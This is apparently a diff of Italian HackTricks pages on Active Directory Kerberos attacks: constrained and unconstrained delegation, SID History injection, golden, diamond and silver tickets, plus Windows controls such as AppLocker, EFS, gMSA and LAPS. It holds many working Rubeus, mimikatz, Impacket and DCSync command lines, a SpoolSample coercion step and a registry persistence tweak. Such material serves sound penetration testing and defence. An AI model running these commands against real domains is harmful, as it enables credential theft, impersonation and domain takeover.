Puoi generare più ticket semplicemente chiedendo una volta utilizzando il parametro `/altservice` di Rubeus:
|
||||
Puoi generare più ticket per più servizi semplicemente chiedendo una volta utilizzando il parametro `/altservice` di Rubeus:
|
||||
```bash
|
||||
rubeus.exe s4u /user:FAKECOMPUTER$ /aes256:<AES 256 hash> /impersonateuser:administrator /msdsspn:cifs/victim.domain.local /altservice:krbtgt,cifs,host,http,winrm,RPCSS,wsman,ldap /domain:domain.local /ptt
|
||||
```
|
||||
> [!CAUTION]
|
||||
> Nota che gli utenti hanno un attributo chiamato "**Non può essere delegato**". Se un utente ha questo attributo impostato su True, non sarai in grado di impersonarlo. Questa proprietà può essere vista all'interno di bloodhound.
|
||||
> Nota che gli utenti hanno un attributo chiamato "**Non può essere delegato**". Se un utente ha questo attributo impostato su Vero, non sarai in grado di impersonarlo. Questa proprietà può essere vista all'interno di bloodhound.
|
||||
|
||||
### Accessing
|
||||
|
||||
L'ultima riga di comando eseguirà il **completo attacco S4U e inietterà il TGS** dall'Amministratore all'host vittima in **memoria**.\
|
||||
In questo esempio è stata richiesta una TGS per il servizio **CIFS** dall'Amministratore, quindi sarai in grado di accedere a **C$**:
|
||||
In questo esempio è stato richiesto un TGS per il servizio **CIFS** dall'Amministratore, quindi sarai in grado di accedere a **C$**:
|
||||
```bash
|
||||
ls \\victim.domain.local\C$
|
||||
```
|
||||
@ -101,13 +101,13 @@ Scopri i [**ticket di servizio disponibili qui**](silver-ticket.md#available-ser
|
||||
|
||||
## Errori di Kerberos
|
||||
|
||||
- **`KDC_ERR_ETYPE_NOTSUPP`**: Questo significa che kerberos è configurato per non utilizzare DES o RC4 e stai fornendo solo l'hash RC4. Fornisci a Rubeus almeno l'hash AES256 (o fornisci solo gli hash rc4, aes128 e aes256). Esempio: `[Rubeus.Program]::MainString("s4u /user:FAKECOMPUTER /aes256:CC648CF0F809EE1AA25C52E963AC0487E87AC32B1F71ACC5304C73BF566268DA /aes128:5FC3D06ED6E8EA2C9BB9CC301EA37AD4 /rc4:EF266C6B963C0BB683941032008AD47F /impersonateuser:Administrator /msdsspn:CIFS/M3DC.M3C.LOCAL /ptt".split())`
|
||||
- **`KDC_ERR_ETYPE_NOTSUPP`**: Questo significa che kerberos è configurato per non utilizzare DES o RC4 e stai fornendo solo l'hash RC4. Fornisci a Rubeus almeno l'hash AES256 (o fornisci semplicemente gli hash rc4, aes128 e aes256). Esempio: `[Rubeus.Program]::MainString("s4u /user:FAKECOMPUTER /aes256:CC648CF0F809EE1AA25C52E963AC0487E87AC32B1F71ACC5304C73BF566268DA /aes128:5FC3D06ED6E8EA2C9BB9CC301EA37AD4 /rc4:EF266C6B963C0BB683941032008AD47F /impersonateuser:Administrator /msdsspn:CIFS/M3DC.M3C.LOCAL /ptt".split())`
|
||||
- **`KRB_AP_ERR_SKEW`**: Questo significa che l'ora del computer attuale è diversa da quella del DC e kerberos non sta funzionando correttamente.
|
||||
- **`preauth_failed`**: Questo significa che il nome utente + hash forniti non funzionano per il login. Potresti aver dimenticato di mettere il "$" all'interno del nome utente quando hai generato gli hash (`.\Rubeus.exe hash /password:123456 /user:FAKECOMPUTER$ /domain:domain.local`)
|
||||
- **`KDC_ERR_BADOPTION`**: Questo può significare:
|
||||
- L'utente che stai cercando di impersonare non può accedere al servizio desiderato (perché non puoi impersonarlo o perché non ha privilegi sufficienti)
|
||||
- Il servizio richiesto non esiste (se chiedi un ticket per winrm ma winrm non è in esecuzione)
|
||||
- Il fakecomputer creato ha perso i suoi privilegi sul server vulnerabile e devi restituirli.
|
||||
- Il computer fittizio creato ha perso i suoi privilegi sul server vulnerabile e devi restituirli.
|
||||
|
||||
## Riferimenti
|
||||
|
||||
@ -115,5 +115,6 @@ Scopri i [**ticket di servizio disponibili qui**](silver-ticket.md#available-ser
|
||||
- [https://www.harmj0y.net/blog/redteaming/another-word-on-delegation/](https://www.harmj0y.net/blog/redteaming/another-word-on-delegation/)
|
||||
- [https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/resource-based-constrained-delegation-ad-computer-object-take-over-and-privilged-code-execution#modifying-target-computers-ad-object](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/resource-based-constrained-delegation-ad-computer-object-take-over-and-privilged-code-execution#modifying-target-computers-ad-object)
|
||||
- [https://stealthbits.com/blog/resource-based-constrained-delegation-abuse/](https://stealthbits.com/blog/resource-based-constrained-delegation-abuse/)
|
||||
- [https://posts.specterops.io/kerberosity-killed-the-domain-an-offensive-kerberos-overview-eb04b1402c61](https://posts.specterops.io/kerberosity-killed-the-domain-an-offensive-kerberos-overview-eb04b1402c61)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -4,7 +4,7 @@
|
||||
|
||||
## Attacco di Iniezione della Storia SID
|
||||
|
||||
L'obiettivo dell'**Attacco di Iniezione della Storia SID** è facilitare **la migrazione degli utenti tra domini** garantendo al contempo l'accesso continuo alle risorse del precedente dominio. Questo viene realizzato **incorporando il precedente Identificatore di Sicurezza (SID) dell'utente nella Storia SID** del loro nuovo account. È importante notare che questo processo può essere manipolato per concedere accesso non autorizzato aggiungendo il SID di un gruppo ad alta privilegio (come Enterprise Admins o Domain Admins) dalla parent domain alla Storia SID. Questa sfruttamento conferisce accesso a tutte le risorse all'interno del dominio parent.
|
||||
L'obiettivo dell'**Attacco di Iniezione della Storia SID** è facilitare **la migrazione degli utenti tra domini** garantendo al contempo l'accesso continuo alle risorse del precedente dominio. Questo viene realizzato **incorporando il precedente Identificatore di Sicurezza (SID) dell'utente nella Storia SID** del loro nuovo account. È importante notare che questo processo può essere manipolato per concedere accesso non autorizzato aggiungendo il SID di un gruppo ad alta privilegio (come gli Enterprise Admins o i Domain Admins) dal dominio principale alla Storia SID. Questa sfruttamento conferisce accesso a tutte le risorse all'interno del dominio principale.
|
||||
|
||||
Esistono due metodi per eseguire questo attacco: attraverso la creazione di un **Golden Ticket** o di un **Diamond Ticket**.
|
||||
|
||||
@ -13,9 +13,37 @@ Per individuare il SID per il gruppo **"Enterprise Admins"**, è necessario prim
|
||||
Puoi anche utilizzare i gruppi **Domain Admins**, che termina in **512**.
|
||||
|
||||
Un altro modo per trovare il SID di un gruppo dell'altro dominio (ad esempio "Domain Admins") è con:
|
||||
```powershell
|
||||
```bash
|
||||
Get-DomainGroup -Identity "Domain Admins" -Domain parent.io -Properties ObjectSid
|
||||
```
|
||||
> [!WARNING]
|
||||
> Nota che è possibile disabilitare la cronologia SID in una relazione di fiducia, il che farà fallire questo attacco.
|
||||
|
||||
Secondo la [**documentazione**](https://technet.microsoft.com/library/cc835085.aspx):
|
||||
- **Disabilitare SIDHistory su trust di foresta** utilizzando lo strumento netdom (`netdom trust /domain: /EnableSIDHistory:no on the domain controller`)
|
||||
- **Applicare il quarantining del filtro SID a trust esterni** utilizzando lo strumento netdom (`netdom trust /domain: /quarantine:yes on the domain controller`)
|
||||
- **Applicare il filtro SID a trust di dominio all'interno di una singola foresta** non è raccomandato poiché è una configurazione non supportata e può causare cambiamenti critici. Se un dominio all'interno di una foresta non è affidabile, allora non dovrebbe essere un membro della foresta. In questa situazione è necessario prima separare i domini fidati e non fidati in foreste separate dove il filtro SID può essere applicato a un trust interforesta.
|
||||
|
||||
Controlla questo post per ulteriori informazioni su come bypassare questo: [**https://itm8.com/articles/sid-filter-as-security-boundary-between-domains-part-4**](https://itm8.com/articles/sid-filter-as-security-boundary-between-domains-part-4)
|
||||
|
||||
### Diamond Ticket (Rubeus + KRBTGT-AES256)
|
||||
|
||||
L'ultima volta che ho provato questo ho dovuto aggiungere l'argomento **`/ldap`**.
|
||||
```bash
|
||||
# Use the /sids param
|
||||
Rubeus.exe diamond /tgtdeleg /ticketuser:Administrator /ticketuserid:500 /groups:512 /sids:S-1-5-21-378720957-2217973887-3501892633-512 /krbkey:390b2fdb13cc820d73ecf2dadddd4c9d76425d4c2156b89ac551efb9d591a8aa /nowrap /ldap
|
||||
|
||||
# Or a ptt with a golden ticket
|
||||
## The /ldap command will get the details from the LDAP (so you don't need to put the SID)
|
||||
## The /printcmd option will print the complete command if later you want to generate a token offline
|
||||
Rubeus.exe golden /rc4:<krbtgt hash> /domain:<child_domain> /sid:<child_domain_sid> /sids:<parent_domain_sid>-519 /user:Administrator /ptt /ldap /nowrap /printcmd
|
||||
|
||||
#e.g.
|
||||
|
||||
execute-assembly ../SharpCollection/Rubeus.exe golden /user:Administrator /domain:current.domain.local /sid:S-1-21-19375142345-528315377-138571287 /rc4:12861032628c1c32c012836520fc7123 /sids:S-1-5-21-2318540928-39816350-2043127614-519 /ptt /ldap /nowrap /printcmd
|
||||
|
||||
# You can use "Administrator" as username or any other string
|
||||
```
|
||||
### Golden Ticket (Mimikatz) con KRBTGT-AES256
|
||||
```bash
|
||||
mimikatz.exe "kerberos::golden /user:Administrator /domain:<current_domain> /sid:<current_domain_sid> /sids:<victim_domain_sid_of_group> /aes256:<krbtgt_aes256> /startoffset:-10 /endin:600 /renewmax:10080 /ticket:ticket.kirbi" "exit"
|
||||
@ -33,22 +61,13 @@ mimikatz.exe "kerberos::golden /user:Administrator /domain:<current_domain> /sid
|
||||
# The previous command will generate a file called ticket.kirbi
|
||||
# Just loading you can perform a dcsync attack agains the domain
|
||||
```
|
||||
Per ulteriori informazioni sui golden ticket controlla:
|
||||
Per ulteriori informazioni sui golden tickets controlla:
|
||||
|
||||
{{#ref}}
|
||||
golden-ticket.md
|
||||
{{#endref}}
|
||||
|
||||
### Diamond Ticket (Rubeus + KRBTGT-AES256)
|
||||
```powershell
|
||||
# Use the /sids param
|
||||
Rubeus.exe diamond /tgtdeleg /ticketuser:Administrator /ticketuserid:500 /groups:512 /sids:S-1-5-21-378720957-2217973887-3501892633-512 /krbkey:390b2fdb13cc820d73ecf2dadddd4c9d76425d4c2156b89ac551efb9d591a8aa /nowrap
|
||||
|
||||
# Or a ptt with a golden ticket
|
||||
Rubeus.exe golden /rc4:<krbtgt hash> /domain:<child_domain> /sid:<child_domain_sid> /sids:<parent_domain_sid>-519 /user:Administrator /ptt
|
||||
|
||||
# You can use "Administrator" as username or any other string
|
||||
```
|
||||
Per ulteriori informazioni sui diamond tickets controlla:
|
||||
|
||||
{{#ref}}
|
||||
@ -101,19 +120,19 @@ psexec.py <child_domain>/Administrator@dc.root.local -k -no-pass -target-ip 10.1
|
||||
```
|
||||
#### Automatic using [raiseChild.py](https://github.com/SecureAuthCorp/impacket/blob/master/examples/raiseChild.py)
|
||||
|
||||
Questo è uno script Impacket che **automatizza l'innalzamento da un dominio figlio a un dominio genitore**. Lo script richiede:
|
||||
Questo è uno script Impacket che **automatizza l'innalzamento dal dominio child al dominio parent**. Lo script richiede:
|
||||
|
||||
- Controller di dominio di destinazione
|
||||
- Credenziali per un utente admin nel dominio figlio
|
||||
- Domain controller di destinazione
|
||||
- Credenziali per un utente admin nel dominio child
|
||||
|
||||
Il flusso è:
|
||||
|
||||
- Ottiene il SID per il gruppo Enterprise Admins del dominio genitore
|
||||
- Recupera l'hash per l'account KRBTGT nel dominio figlio
|
||||
- Ottiene il SID per il gruppo Enterprise Admins del dominio parent
|
||||
- Recupera l'hash per l'account KRBTGT nel dominio child
|
||||
- Crea un Golden Ticket
|
||||
- Effettua il login nel dominio genitore
|
||||
- Recupera le credenziali per l'account Administrator nel dominio genitore
|
||||
- Se l'opzione `target-exec` è specificata, si autentica al Domain Controller del dominio genitore tramite Psexec.
|
||||
- Effettua il login nel dominio parent
|
||||
- Recupera le credenziali per l'account Administrator nel dominio parent
|
||||
- Se l'opzione `target-exec` è specificata, si autentica al Domain Controller del dominio parent tramite Psexec.
|
||||
```bash
|
||||
raiseChild.py -target-exec 10.10.10.10 <child_domain>/username
|
||||
```
|
||||
|
||||
@ -6,7 +6,11 @@
|
||||
|
||||
## Silver ticket
|
||||
|
||||
L'attacco **Silver Ticket** comporta lo sfruttamento dei ticket di servizio negli ambienti Active Directory (AD). Questo metodo si basa su **acquisire l'hash NTLM di un account di servizio**, come un account computer, per forgiare un ticket del Ticket Granting Service (TGS). Con questo ticket falsificato, un attaccante può accedere a servizi specifici sulla rete, **impersonando qualsiasi utente**, tipicamente puntando a privilegi amministrativi. Si sottolinea che l'uso di chiavi AES per forgiare ticket è più sicuro e meno rilevabile.
|
||||
L'attacco **Silver Ticket** comporta lo sfruttamento dei ticket di servizio negli ambienti Active Directory (AD). Questo metodo si basa su **acquisire l'hash NTLM di un account di servizio**, come un account computer, per forgiare un ticket del Ticket Granting Service (TGS). Con questo ticket falsificato, un attaccante può accedere a servizi specifici sulla rete, **impersonando qualsiasi utente**, tipicamente puntando a privilegi amministrativi. È sottolineato che l'uso di chiavi AES per forgiare ticket è più sicuro e meno rilevabile.
|
||||
|
||||
> [!WARNING]
|
||||
> I Silver Tickets sono meno rilevabili dei Golden Tickets perché richiedono solo l'**hash dell'account di servizio**, non l'account krbtgt. Tuttavia, sono limitati al servizio specifico che mirano. Inoltre, basta rubare la password di un utente.
|
||||
Inoltre, se comprometti la **password di un account con un SPN**, puoi usare quella password per creare un Silver Ticket impersonando qualsiasi utente per quel servizio.
|
||||
|
||||
Per la creazione di ticket, vengono impiegati diversi strumenti in base al sistema operativo:
|
||||
|
||||
@ -18,6 +22,11 @@ python psexec.py <DOMAIN>/<USER>@<TARGET> -k -no-pass
|
||||
```
|
||||
### Su Windows
|
||||
```bash
|
||||
# Using Rubeus
|
||||
## /ldap option is used to get domain data automatically
|
||||
## With /ptt we already load the tickt in memory
|
||||
rubeus.exe asktgs /user:<USER> [/rc4:<HASH> /aes128:<HASH> /aes256:<HASH>] /domain:<DOMAIN> /ldap /service:cifs/domain.local /ptt /nowrap /printcmd
|
||||
|
||||
# Create the ticket
|
||||
mimikatz.exe "kerberos::golden /domain:<DOMAIN> /sid:<DOMAIN_SID> /rc4:<HASH> /user:<USER> /service:<SERVICE> /target:<TARGET>"
|
||||
|
||||
@ -50,8 +59,12 @@ Utilizzando **Rubeus** puoi **richiedere tutti** questi biglietti utilizzando il
|
||||
### ID Evento Biglietti Silver
|
||||
|
||||
- 4624: Accesso all'Account
|
||||
- 4634: Disconnessione dall'Account
|
||||
- 4672: Accesso Amministrativo
|
||||
- 4634: Disconnessione dell'Account
|
||||
- 4672: Accesso Amministratore
|
||||
|
||||
## Persistenza
|
||||
|
||||
Per evitare che le macchine ruotino la loro password ogni 30 giorni, imposta `HKLM\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters\DisablePasswordChange = 1` oppure puoi impostare `HKLM\SYSTEM\CurrentControlSet\Services\NetLogon\Parameters\MaximumPasswordAge` a un valore maggiore di 30 giorni per indicare il periodo di rotazione quando la password della macchina dovrebbe essere ruotata.
|
||||
|
||||
## Abuso dei Biglietti di Servizio
|
||||
|
||||
@ -59,13 +72,13 @@ Negli esempi seguenti immaginiamo che il biglietto venga recuperato impersonando
|
||||
|
||||
### CIFS
|
||||
|
||||
Con questo biglietto sarai in grado di accedere alla cartella `C$` e `ADMIN$` tramite **SMB** (se sono esposte) e copiare file in una parte del file system remoto semplicemente facendo qualcosa come:
|
||||
Con questo biglietto sarai in grado di accedere alle cartelle `C$` e `ADMIN$` tramite **SMB** (se sono esposte) e copiare file in una parte del file system remoto semplicemente facendo qualcosa come:
|
||||
```bash
|
||||
dir \\vulnerable.computer\C$
|
||||
dir \\vulnerable.computer\ADMIN$
|
||||
copy afile.txt \\vulnerable.computer\C$\Windows\Temp
|
||||
```
|
||||
Sarai anche in grado di ottenere una shell all'interno dell'host o eseguire comandi arbitrari utilizzando **psexec**:
|
||||
Potrai anche ottenere una shell all'interno dell'host o eseguire comandi arbitrari utilizzando **psexec**:
|
||||
|
||||
{{#ref}}
|
||||
../lateral-movement/psexec-and-winexec.md
|
||||
@ -105,11 +118,11 @@ Trova **ulteriori informazioni su wmiexec** nella seguente pagina:
|
||||
|
||||
### HOST + WSMAN (WINRM)
|
||||
|
||||
Con l'accesso winrm a un computer puoi **accedervi** e persino ottenere un PowerShell:
|
||||
Con accesso winrm su un computer puoi **accedervi** e persino ottenere un PowerShell:
|
||||
```bash
|
||||
New-PSSession -Name PSC -ComputerName the.computer.name; Enter-PSSession PSC
|
||||
```
|
||||
Controlla la seguente pagina per apprendere **altri modi per connettersi a un host remoto utilizzando winrm**:
|
||||
Controlla la seguente pagina per apprendere **ulteriori modi per connettersi a un host remoto utilizzando winrm**:
|
||||
|
||||
{{#ref}}
|
||||
../lateral-movement/winrm.md
|
||||
@ -126,15 +139,17 @@ mimikatz(commandline) # lsadump::dcsync /dc:pcdc.domain.local /domain:domain.loc
|
||||
```
|
||||
**Scopri di più su DCSync** nella seguente pagina:
|
||||
|
||||
## Riferimenti
|
||||
|
||||
- [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberos-silver-tickets](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberos-silver-tickets)
|
||||
- [https://www.tarlogic.com/blog/how-to-attack-kerberos/](https://www.tarlogic.com/blog/how-to-attack-kerberos/)
|
||||
|
||||
{{#ref}}
|
||||
dcsync.md
|
||||
{{#endref}}
|
||||
|
||||
|
||||
## Riferimenti
|
||||
|
||||
- [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberos-silver-tickets](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberos-silver-tickets)
|
||||
- [https://www.tarlogic.com/blog/how-to-attack-kerberos/](https://www.tarlogic.com/blog/how-to-attack-kerberos/)
|
||||
- [https://techcommunity.microsoft.com/blog/askds/machine-account-password-process/396027](https://techcommunity.microsoft.com/blog/askds/machine-account-password-process/396027)
|
||||
|
||||
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -6,40 +6,47 @@
|
||||
|
||||
Questa è una funzionalità che un Amministratore di Dominio può impostare su qualsiasi **Computer** all'interno del dominio. Quindi, ogni volta che un **utente accede** al Computer, una **copia del TGT** di quell'utente verrà **inviata all'interno del TGS** fornito dal DC **e salvata in memoria in LSASS**. Quindi, se hai privilegi di Amministratore sulla macchina, sarai in grado di **estrarre i ticket e impersonare gli utenti** su qualsiasi macchina.
|
||||
|
||||
Quindi, se un amministratore di dominio accede a un Computer con la funzionalità "Unconstrained Delegation" attivata, e tu hai privilegi di amministratore locale su quella macchina, sarai in grado di estrarre il ticket e impersonare l'Amministratore di Dominio ovunque (privilegi di dominio).
|
||||
Quindi, se un amministratore di dominio accede a un Computer con la funzionalità "Unconstrained Delegation" attivata, e tu hai privilegi di amministratore locale su quella macchina, sarai in grado di estrarre il ticket e impersonare l'Amministratore di Dominio ovunque (privilegi di escalation del dominio).
|
||||
|
||||
Puoi **trovare oggetti Computer con questo attributo** controllando se l'attributo [userAccountControl](<https://msdn.microsoft.com/en-us/library/ms680832(v=vs.85).aspx>) contiene [ADS_UF_TRUSTED_FOR_DELEGATION](<https://msdn.microsoft.com/en-us/library/aa772300(v=vs.85).aspx>). Puoi farlo con un filtro LDAP di ‘(userAccountControl:1.2.840.113556.1.4.803:=524288)’, che è ciò che fa powerview:
|
||||
|
||||
<pre class="language-bash"><code class="lang-bash"># List unconstrained computers
|
||||
```bash
|
||||
# List unconstrained computers
|
||||
## Powerview
|
||||
Get-NetComputer -Unconstrained #DCs always appear but aren't useful for privesc
|
||||
<strong>## ADSearch
|
||||
</strong>ADSearch.exe --search "(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=524288))" --attributes samaccountname,dnshostname,operatingsystem
|
||||
<strong># Export tickets with Mimikatz
|
||||
</strong>privilege::debug
|
||||
## A DCs always appear and might be useful to attack a DC from another compromised DC from a different domain (coercing the other DC to authenticate to it)
|
||||
Get-DomainComputer –Unconstrained –Properties name
|
||||
Get-DomainUser -LdapFilter '(userAccountControl:1.2.840.113556.1.4.803:=524288)'
|
||||
|
||||
## ADSearch
|
||||
ADSearch.exe --search "(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=524288))" --attributes samaccountname,dnshostname,operatingsystem
|
||||
|
||||
# Export tickets with Mimikatz
|
||||
## Access LSASS memory
|
||||
privilege::debug
|
||||
sekurlsa::tickets /export #Recommended way
|
||||
kerberos::list /export #Another way
|
||||
|
||||
# Monitor logins and export new tickets
|
||||
.\Rubeus.exe monitor /targetuser:<username> /interval:10 #Check every 10s for new TGTs</code></pre>
|
||||
|
||||
Carica il ticket di Administrator (o utente vittima) in memoria con **Mimikatz** o **Rubeus per un** [**Pass the Ticket**](pass-the-ticket.md)**.**\
|
||||
## Doens't access LSASS memory directly, but uses Windows APIs
|
||||
Rubeus.exe dump
|
||||
Rubeus.exe monitor /interval:10 [/filteruser:<username>] #Check every 10s for new TGTs
|
||||
```
|
||||
Carica il ticket dell'Amministratore (o dell'utente vittima) in memoria con **Mimikatz** o **Rubeus per un** [**Pass the Ticket**](pass-the-ticket.md)**.**\
|
||||
Ulteriori informazioni: [https://www.harmj0y.net/blog/activedirectory/s4u2pwnage/](https://www.harmj0y.net/blog/activedirectory/s4u2pwnage/)\
|
||||
[**Ulteriori informazioni sulla delega non vincolata in ired.team.**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/domain-compromise-via-unrestricted-kerberos-delegation)
|
||||
|
||||
### **Force Authentication**
|
||||
### **Forzare l'Autenticazione**
|
||||
|
||||
Se un attaccante è in grado di **compromettere un computer autorizzato per "Unconstrained Delegation"**, potrebbe **ingannare** un **Print server** per **accedere automaticamente** ad esso **salvando un TGT** nella memoria del server.\
|
||||
Quindi, l'attaccante potrebbe eseguire un **attacco Pass the Ticket per impersonare** l'account computer del server di stampa.
|
||||
Se un attaccante è in grado di **compromettere un computer autorizzato per "Delega Non Vincolata"**, potrebbe **ingannare** un **server di stampa** per **accedere automaticamente** ad esso **salvando un TGT** nella memoria del server.\
|
||||
Successivamente, l'attaccante potrebbe eseguire un **attacco Pass the Ticket per impersonare** l'account del computer del server di stampa.
|
||||
|
||||
Per far accedere un server di stampa a qualsiasi macchina puoi usare [**SpoolSample**](https://github.com/leechristensen/SpoolSample):
|
||||
Per far accedere un server di stampa contro qualsiasi macchina puoi usare [**SpoolSample**](https://github.com/leechristensen/SpoolSample):
|
||||
```bash
|
||||
.\SpoolSample.exe <printmachine> <unconstrinedmachine>
|
||||
```
|
||||
Se il TGT proviene da un controller di dominio, puoi eseguire un[ **DCSync attack**](acl-persistence-abuse/index.html#dcsync) e ottenere tutti gli hash dal DC.\
|
||||
Se il TGT proviene da un controller di dominio, puoi eseguire un [**attacco DCSync**](acl-persistence-abuse/index.html#dcsync) e ottenere tutti gli hash dal DC.\
|
||||
[**Ulteriori informazioni su questo attacco in ired.team.**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/domain-compromise-via-dc-print-server-and-kerberos-delegation)
|
||||
|
||||
**Ecco altri modi per cercare di forzare un'autenticazione:**
|
||||
Trova qui altri modi per **forzare un'autenticazione:**
|
||||
|
||||
{{#ref}}
|
||||
printers-spooler-service-abuse.md
|
||||
|
||||
@ -1,18 +1,18 @@
|
||||
# Controlli di Sicurezza di Windows
|
||||
# Windows Security Controls
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## Politica di AppLocker
|
||||
## AppLocker Policy
|
||||
|
||||
Un elenco di applicazioni approvate è un elenco di applicazioni software o eseguibili approvati che sono autorizzati a essere presenti ed eseguiti su un sistema. L'obiettivo è proteggere l'ambiente da malware dannoso e software non approvato che non si allinea con le specifiche esigenze aziendali di un'organizzazione.
|
||||
Un elenco di applicazioni autorizzate è un elenco di software o eseguibili approvati che possono essere presenti ed eseguiti su un sistema. L'obiettivo è proteggere l'ambiente da malware dannosi e software non approvato che non si allinea con le specifiche esigenze aziendali di un'organizzazione.
|
||||
|
||||
[AppLocker](https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/what-is-applocker) è la **soluzione di whitelisting delle applicazioni** di Microsoft e offre agli amministratori di sistema il controllo su **quali applicazioni e file gli utenti possono eseguire**. Fornisce **controllo granulare** su eseguibili, script, file di installazione di Windows, DLL, app confezionate e installatori di app confezionate.\
|
||||
È comune per le organizzazioni **bloccare cmd.exe e PowerShell.exe** e l'accesso in scrittura a determinate directory, **ma tutto questo può essere aggirato**.
|
||||
|
||||
### Controllo
|
||||
### Check
|
||||
|
||||
Controlla quali file/estensioni sono nella lista nera/nella lista bianca:
|
||||
```powershell
|
||||
Controlla quali file/estensioni sono nella lista nera/bianca:
|
||||
```bash
|
||||
Get-ApplockerPolicy -Effective -xml
|
||||
|
||||
Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections
|
||||
@ -33,8 +33,8 @@ C:\Windows\System32\spool\drivers\color
|
||||
C:\Windows\Tasks
|
||||
C:\windows\tracing
|
||||
```
|
||||
- I comuni **binaries** [**"LOLBAS's"**](https://lolbas-project.github.io/) possono essere utili per bypassare AppLocker.
|
||||
- **Regole scritte male potrebbero anche essere bypassate**
|
||||
- I comuni **binaries** **"LOLBAS's"** possono essere utili per bypassare AppLocker.
|
||||
- **Regole scritte male possono anche essere bypassate**
|
||||
- Ad esempio, **`<FilePathCondition Path="%OSDRIVE%*\allowed*"/>`**, puoi creare una **cartella chiamata `allowed`** ovunque e sarà consentita.
|
||||
- Le organizzazioni spesso si concentrano su **bloccare l'eseguibile `%System32%\WindowsPowerShell\v1.0\powershell.exe`**, ma dimenticano le **altre** [**posizioni eseguibili di PowerShell**](https://www.powershelladmin.com/wiki/PowerShell_Executables_File_System_Locations) come `%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe` o `PowerShell_ISE.exe`.
|
||||
- **L'applicazione delle DLL è molto raramente abilitata** a causa del carico aggiuntivo che può mettere su un sistema e della quantità di test necessari per garantire che nulla si rompa. Quindi utilizzare **DLL come backdoor aiuterà a bypassare AppLocker**.
|
||||
@ -107,10 +107,10 @@ EFS protegge i file attraverso la crittografia, utilizzando una **chiave simmetr
|
||||
|
||||
**Scenari di decrittazione senza iniziativa dell'utente** includono:
|
||||
|
||||
- Quando file o cartelle vengono spostati in un file system non EFS, come [FAT32](https://en.wikipedia.org/wiki/File_Allocation_Table), vengono automaticamente decrittografati.
|
||||
- Quando file o cartelle vengono spostati su un file system non EFS, come [FAT32](https://en.wikipedia.org/wiki/File_Allocation_Table), vengono automaticamente decrittografati.
|
||||
- I file crittografati inviati attraverso la rete tramite il protocollo SMB/CIFS vengono decrittografati prima della trasmissione.
|
||||
|
||||
Questo metodo di crittografia consente un **accesso trasparente** ai file crittografati per il proprietario. Tuttavia, semplicemente cambiando la password del proprietario e accedendo non sarà possibile la decrittazione.
|
||||
Questo metodo di crittografia consente un **accesso trasparente** ai file crittografati per il proprietario. Tuttavia, cambiare semplicemente la password del proprietario e accedere non permetterà la decrittazione.
|
||||
|
||||
**Punti chiave**:
|
||||
|
||||
@ -121,7 +121,7 @@ Questo metodo di crittografia consente un **accesso trasparente** ai file critto
|
||||
|
||||
### Controlla le informazioni EFS
|
||||
|
||||
Controlla se un **utente** ha **utilizzato** questo **servizio** verificando se esiste questo percorso:`C:\users\<username>\appdata\roaming\Microsoft\Protect`
|
||||
Controlla se un **utente** ha **utilizzato** questo **servizio** verificando se esiste questo percorso: `C:\users\<username>\appdata\roaming\Microsoft\Protect`
|
||||
|
||||
Controlla **chi** ha **accesso** al file usando cipher /c \<file>\
|
||||
Puoi anche usare `cipher /e` e `cipher /d` all'interno di una cartella per **crittografare** e **decrittografare** tutti i file
|
||||
@ -140,10 +140,10 @@ https://github.com/gentilkiwi/mimikatz/wiki/howto-~-decrypt-EFS-files
|
||||
|
||||
## Group Managed Service Accounts (gMSA)
|
||||
|
||||
Microsoft ha sviluppato **Group Managed Service Accounts (gMSA)** per semplificare la gestione degli account di servizio nelle infrastrutture IT. A differenza degli account di servizio tradizionali che spesso hanno l'impostazione "**Password never expire**" abilitata, i gMSA offrono una soluzione più sicura e gestibile:
|
||||
Microsoft ha sviluppato **Group Managed Service Accounts (gMSA)** per semplificare la gestione degli account di servizio nelle infrastrutture IT. A differenza degli account di servizio tradizionali che spesso hanno l'impostazione "**Password mai scaduta**" abilitata, i gMSA offrono una soluzione più sicura e gestibile:
|
||||
|
||||
- **Gestione automatica delle password**: i gMSA utilizzano una password complessa di 240 caratteri che cambia automaticamente in base alla politica del dominio o del computer. Questo processo è gestito dal Key Distribution Service (KDC) di Microsoft, eliminando la necessità di aggiornamenti manuali delle password.
|
||||
- **Sicurezza migliorata**: questi account sono immuni ai blocchi e non possono essere utilizzati per accessi interattivi, migliorando la loro sicurezza.
|
||||
- **Sicurezza migliorata**: questi account sono immuni a blocchi e non possono essere utilizzati per accessi interattivi, migliorando la loro sicurezza.
|
||||
- **Supporto per più host**: i gMSA possono essere condivisi tra più host, rendendoli ideali per servizi in esecuzione su più server.
|
||||
- **Capacità di attività pianificate**: a differenza degli account di servizio gestiti, i gMSA supportano l'esecuzione di attività pianificate.
|
||||
- **Gestione semplificata degli SPN**: il sistema aggiorna automaticamente il Service Principal Name (SPN) quando ci sono modifiche ai dettagli sAMaccount del computer o al nome DNS, semplificando la gestione degli SPN.
|
||||
@ -162,7 +162,7 @@ Inoltre, controlla questa [pagina web](https://cube0x0.github.io/Relaying-for-gM
|
||||
|
||||
## LAPS
|
||||
|
||||
La **Local Administrator Password Solution (LAPS)**, disponibile per il download da [Microsoft](https://www.microsoft.com/en-us/download/details.aspx?id=46899), consente la gestione delle password degli amministratori locali. Queste password, che sono **randomizzate**, uniche e **cambiate regolarmente**, sono memorizzate centralmente in Active Directory. L'accesso a queste password è limitato tramite ACL a utenti autorizzati. Con permessi sufficienti concessi, è possibile leggere le password degli amministratori locali.
|
||||
